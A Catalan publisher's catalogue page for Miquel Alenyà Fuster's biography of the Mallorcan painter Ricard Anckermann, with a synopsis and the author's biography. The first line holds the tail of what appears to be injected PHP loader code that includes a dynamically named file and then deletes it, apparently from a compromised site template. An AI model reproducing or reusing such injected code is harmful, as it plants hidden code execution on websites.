");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Edicions Documenta Balear - Ricard Anckermann
Cercador d'Obres
ORDENAR:
Començar recerca

Ricard Anckermann

Vida, obra i mestratge (1842-1907)

Alenyà Fuster, Miquel

Prologuista:
Joan Oliver Fuster Maneu
Col·lecció:
Arbre de Mar
Tema:
Art
Pàgines:
196
PVP:
23.00
ISBN:
978-84-17113-118-6
Data d'Edició:
31/08/2018
Biografia i obra de la personalitat artística mallorquina més rellevant del segle XIX.
Sinopsi
Ricard Anckermann (Palma, 1842-1907), fill de Jordi Ànckermann i de Margalida Riera, fou un rellevant artista pintor, deixeble del pintor Faust Morell, militant del Partit Democràtic de les Balears (després, Partit Democràtic Republicà Federal) i regidor de l’Ajuntament de Palma (1868). 
Decebut de la política, marxa a París i a Londres per per­feccionar la seva tècnica i ampliar coneixements. A París treballa als tallers del gravador Jules Cheret i coincideix amb la presentació de La vicaria, de Marià Fortuny (1870). A Londres realitza la talla en fusta del mascaró de proa, dedicat a Ramon Llull, i la decoració d’algunes estances del vapor Lulio. El 1871 torna a Mallorca, atén l’encàrrec de Joan Sureda de fer les pintures de la sala de música del palau del rei Sanç (Valldemossa). El 1882 pinta el sostre de la sala de ball del Cercle Mallorquí i el 1900 comença la decoració del menjador de Son Vida. Altres projectes seus destacats són el quadre històric per al paranimf de la Universitat de Barcelona, el sostre de la sala del trono de Can Torrella, la tela per a la capella neogòtica de la Torre de Can Granada, l’oli del Davallament de la Creu per a la Seu, la maqueta del frontispici del Teatre Principal, la tela monumental de la Transfiguració de Sant Agustí de Binissalem o la capella del Sagrat Cor de l’església del Socors de Palma.
 Va ressaltar també com a professor i va saber elevar el prestigi de l’Escola de Belles Arts. La seva obra comprèn diverses etapes, la primera de les quals s’ajusta als cànons classicistes de Faust Morell, amb les recreacions dels fets rellevants de la història de Mallorca, el realisme en els paisatges, mentre que l’obra de maduresa es caracteritza per l’eclecticisme.

Llegir el Sumari en PDF
Veure algunes pàgines de mostra en PDF


Miquel Alenyà Fuster
Economista. President de Creu Roja de les Illes Balears (des del 2003). Conseller del Consell Econòmic i Social de les Illes Balears (CES) en representació del Govern (des del 2001). Col·laborador de la Memòria del CES sobre l’economia, el treball i la societat de les Illes Balears. Ha estat subdirector general, director de l’Obra Social i director de recursos humans de Sa Nostra, director gerent de la Fundació Sa Nostra (2001-2004), president del Cercle d’Economia de Mallorca (1995-96), director de l’Informe econòmic i social de les Balears (Evolució econòmica de les Balears) durant 33 anys (edicions anuals de 1968-2000) i president de la Reial Acadèmia de Belles Arts de les Illes Balears (2007-2009). També és investigador de la pintura feta a les Illes.
Ha publicat treballs sobre l’economia de  les Balears i sobre la problemática social de les Balears (7 realitats socials de les Illes Balears, 1999, i 12 realitats socials de les Illes Balears, 2001). Ha publicat el volum La pintura moderna a Mallorca (1830-1970), 1996) i Art i economia a les Balears, 2008). Ha publicat diverses anàlisis biogràfiques de pintors i de la seva obra. Va ser col·laborador del suplement cultural del Diari de Balears (Balears Cultural, L’Espira%u2026) i féu part del Consell de Redacció de la Gran Enciclopèdia de la Pintura i l’Escultura a les Balears. El 2011 publicà Vuit voluntàries i un voluntari de la Creu Roja moren a Manacor l’estiu de 1936, el 2014 La Creu Roja a les Balears. 140 anys d’acció humanitària (1874-2014). Va ser coordinador i director de l’Informe Econòmic i Social de les Illes Balears.
Ha estat guardonat amb l’antena de plata d’Última Hora Ràdio, amb el premi Antoni Monserrat Moll al mèrit estadístic de l’Institut Balear d’Estadística (IBESTAT, 2010) i el premi Ramon Llull del Govern Balear (2000).



Recomanar
Comentar
Comentaris (0)